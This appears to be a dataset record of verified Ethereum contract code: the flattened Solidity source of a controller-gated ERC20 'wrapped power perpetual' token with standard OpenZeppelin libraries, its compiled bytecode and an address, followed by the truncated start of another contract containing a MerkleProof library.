// SPDX-License-Identifier: BUSL-1.1 pragma solidity =0.7.6; //interface import {IWPowerPerp} from "../interfaces/IWPowerPerp.sol"; //contract import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import {Initializable} from "@openzeppelin/contracts/proxy/Initializable.sol"; /** * @notice ERC20 Token representing wrapped long power perpetual position * @dev value of power perpetual is expected to go down over time through the impact of funding */ contract WPowerPerp is ERC20, Initializable, IWPowerPerp { address public controller; address private immutable deployer; /** * @notice long power perpetual constructor * @param _name token name for ERC20 * @param _symbol token symbol for ERC20 */ constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) { deployer = msg.sender; } modifier onlyController() { require(msg.sender == controller, "Not controller"); _; } /** * @notice init wPowerPerp contract * @param _controller controller address */ function init(address _controller) external initializer { require(msg.sender == deployer, "Invalid caller of init"); require(_controller != address(0), "Invalid controller address"); controller = _controller; } /** * @notice mint wPowerPerp * @param _account account to mint to * @param _amount amount to mint */ function mint(address _account, uint256 _amount) external override onlyController { _mint(_account, _amount); } /** * @notice burn wPowerPerp * @param _account account to burn from * @param _amount amount to burn */ function burn(address _account, uint256 _amount) external override onlyController { _burn(_account, _amount); } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IWPowerPerp is IERC20 { function mint(address _account, uint256 _amount) external; function burn(address _account, uint256 _amount) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/Address.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !Address.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806340c10f1911610097578063a457c2d711610066578063a457c2d7146102ff578063a9059cbb1461032b578063dd62ed3e14610357578063f77c479114610385576100f5565b806340c10f191461027957806370a08231146102a557806395d89b41146102cb5780639dc29fac146102d3576100f5565b806319ab453c116100d357806319ab453c146101d157806323b872dd146101f9578063313ce5671461022f578063395093511461024d576100f5565b806306fdde03146100fa578063095ea7b31461017757806318160ddd146101b7575b600080fd5b6101026103a9565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561018d57600080fd5b506001600160a01b03813516906020013561043f565b604080519115158252519081900360200190f35b6101bf61045c565b60408051918252519081900360200190f35b6101f7600480360360208110156101e757600080fd5b50356001600160a01b0316610462565b005b6101a36004803603606081101561020f57600080fd5b506001600160a01b03813581169160208101359091169060400135610622565b6102376106a9565b6040805160ff9092168252519081900360200190f35b6101a36004803603604081101561026357600080fd5b506001600160a01b0381351690602001356106b2565b6101f76004803603604081101561028f57600080fd5b506001600160a01b038135169060200135610700565b6101bf600480360360208110156102bb57600080fd5b50356001600160a01b0316610761565b61010261077c565b6101f7600480360360408110156102e957600080fd5b506001600160a01b0381351690602001356107dd565b6101a36004803603604081101561031557600080fd5b506001600160a01b03813516906020013561083e565b6101a36004803603604081101561034157600080fd5b506001600160a01b0381351690602001356108a6565b6101bf6004803603604081101561036d57600080fd5b506001600160a01b03813581169160200135166108ba565b61038d6108e5565b604080516001600160a01b039092168252519081900360200190f35b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b5050505050905090565b600061045361044c6108fb565b84846108ff565b50600192915050565b60025490565b60055462010000900460ff168061047c575061047c6109eb565b8061048f5750600554610100900460ff16155b6104ca5760405162461bcd60e51b815260040180806020018281038252602e815260200180610f31602e913960400191505060405180910390fd5b60055462010000900460ff161580156104fa576005805461ff001962ff0000199091166201000017166101001790555b336001600160a01b037f000000000000000000000000a3cb04d8bd927eec8826bd77b7c71abe3d29c0811614610577576040805162461bcd60e51b815260206004820152601660248201527f496e76616c69642063616c6c6572206f6620696e697400000000000000000000604482015290519081900360640190fd5b6001600160a01b0382166105d2576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420636f6e74726f6c6c65722061646472657373000000000000604482015290519081900360640190fd5b600580547fffffffffffffffffff0000000000000000000000000000000000000000ffffff1663010000006001600160a01b03851602179055801561061e576005805462ff0000191690555b5050565b600061062f8484846109fc565b61069f8461063b6108fb565b61069a85604051806060016040528060288152602001610f5f602891396001600160a01b038a166000908152600160205260408120906106796108fb565b6001600160a01b031681526020810191909152604001600020549190610b57565b6108ff565b5060019392505050565b60055460ff1690565b60006104536106bf6108fb565b8461069a85600160006106d06108fb565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610bee565b600554630100000090046001600160a01b03163314610757576040805162461bcd60e51b815260206004820152600e60248201526d2737ba1031b7b73a3937b63632b960911b604482015290519081900360640190fd5b61061e8282610c4f565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104355780601f1061040a57610100808354040283529160200191610435565b600554630100000090046001600160a01b03163314610834576040805162461bcd60e51b815260206004820152600e60248201526d2737ba1031b7b73a3937b63632b960911b604482015290519081900360640190fd5b61061e8282610d3f565b600061045361084b6108fb565b8461069a85604051806060016040528060258152602001610ff160259139600160006108756108fb565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610b57565b60006104536108b36108fb565b84846109fc565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600554630100000090046001600160a01b031681565b3390565b6001600160a01b0383166109445760405162461bcd60e51b8152600401808060200182810382526024815260200180610fcd6024913960400191505060405180910390fd5b6001600160a01b0382166109895760405162461bcd60e51b8152600401808060200182810382526022815260200180610ee96022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60006109f630610e3b565b15905090565b6001600160a01b038316610a415760405162461bcd60e51b8152600401808060200182810382526025815260200180610fa86025913960400191505060405180910390fd5b6001600160a01b038216610a865760405162461bcd60e51b8152600401808060200182810382526023815260200180610ea46023913960400191505060405180910390fd5b610a91838383610e41565b610ace81604051806060016040528060268152602001610f0b602691396001600160a01b0386166000908152602081905260409020549190610b57565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610afd9082610bee565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610be65760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610bab578181015183820152602001610b93565b50505050905090810190601f168015610bd85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610c48576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038216610caa576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b610cb660008383610e41565b600254610cc39082610bee565b6002556001600160a01b038216600090815260208190526040902054610ce99082610bee565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038216610d845760405162461bcd60e51b8152600401808060200182810382526021815260200180610f876021913960400191505060405180910390fd5b610d9082600083610e41565b610dcd81604051806060016040528060228152602001610ec7602291396001600160a01b0385166000908152602081905260409020549190610b57565b6001600160a01b038316600090815260208190526040902055600254610df39082610e46565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b3b151590565b505050565b600082821115610e9d576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b5090039056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a656445524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b212f681aae3a839369df006b7b5ca6280b5bb82909bb3e14edfc182234e45d164736f6c63430007060033
[ 38 ]
0xf1b9d0d07921400b75849d581862960c1c5ba170
// SPDX-License-Identifier: GPL-3.0 /* :::::::: :::::::: :::: ::: :::::::: :::::::: ::: :::::::::: :::: ::: :::::::::: ::::::::::: :+: :+: :+: :+: :+:+: :+: :+: :+: :+: :+: :+: :+: :+:+: :+: :+: :+: +:+ +:+ +:+ :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+ :+:+:+ +:+ +:+ +:+ +#+ +#+ +:+ +#+ +:+ +#+ +#++:++#++ +#+ +:+ +#+ +#++:++# +#+ +:+ +#+ :#::+::# +#+ +#+ +#+ +#+ +#+ +#+#+# +#+ +#+ +#+ +#+ +#+ +#+ +#+#+# +#+ +#+ #+# #+# #+# #+# #+# #+#+# #+# #+# #+# #+# #+# #+# #+# #+#+# #+# #+# ######## ######## ### #### ######## ######## ########## ########## ### #### ### ### */ pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be 